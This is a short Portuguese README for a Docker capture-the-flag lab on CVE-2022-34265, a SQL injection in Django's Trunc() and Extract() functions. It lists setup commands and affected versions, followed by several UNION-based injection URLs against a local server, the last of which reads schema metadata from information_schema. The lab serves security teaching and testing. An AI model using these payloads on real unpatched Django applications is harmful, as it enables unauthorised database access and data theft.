
Desafio CTF baseado em Docker demonstrando injeção de SQL nas funções de banco de dados Trunc() e Extract() do Django (CVE-2022-34265) com exemplos de payload baseados em UNION.
Foi descoberto um problema no Django 3.2 anterior a 3.2.14 e no 4.0 anterior a 4.0.6. As funções de banco de dados Trunc() e Extract() estão sujeitas a injeção de SQL se dados não confiáveis forem usados como valor de kind/lookup_name. Aplicações que restringem a escolha do lookup name e kind a uma lista segura conhecida não são afetadas.
git clone https://github.com/coco0x0a/CTF_CVE-2022-34265
cd CVE-2022-34265
sudo docker-compose up -d
sudo docker ps
sudo docker-compose down
Django >= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
usando UNION
http://127.0.0.1:8000/extract/?lookup_name=year%20FROM%20start_datetime))%20OR%201=1%20UNION%20SELECT%201--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, 2, 3, 4, 5, 6, 7--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT 1, now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT "TEST", now(), now(), now(), now(), now(), now()--
http://127.0.0.1:8000/extract/?lookup_name=year FROM start_datetime)) OR 1=1 UNION SELECT CONCAT(table_name, '~', column_name), now(), now(), now(), now(), now(), now() FROM information_schema.columns--

https://github.com/aeyesec/CVE-2022-34265
https://github.com/ZhaoQi99/CVE-2022-34265
https://github.com/suksit/writeups/tree/main/secplayground/half-year-event-2022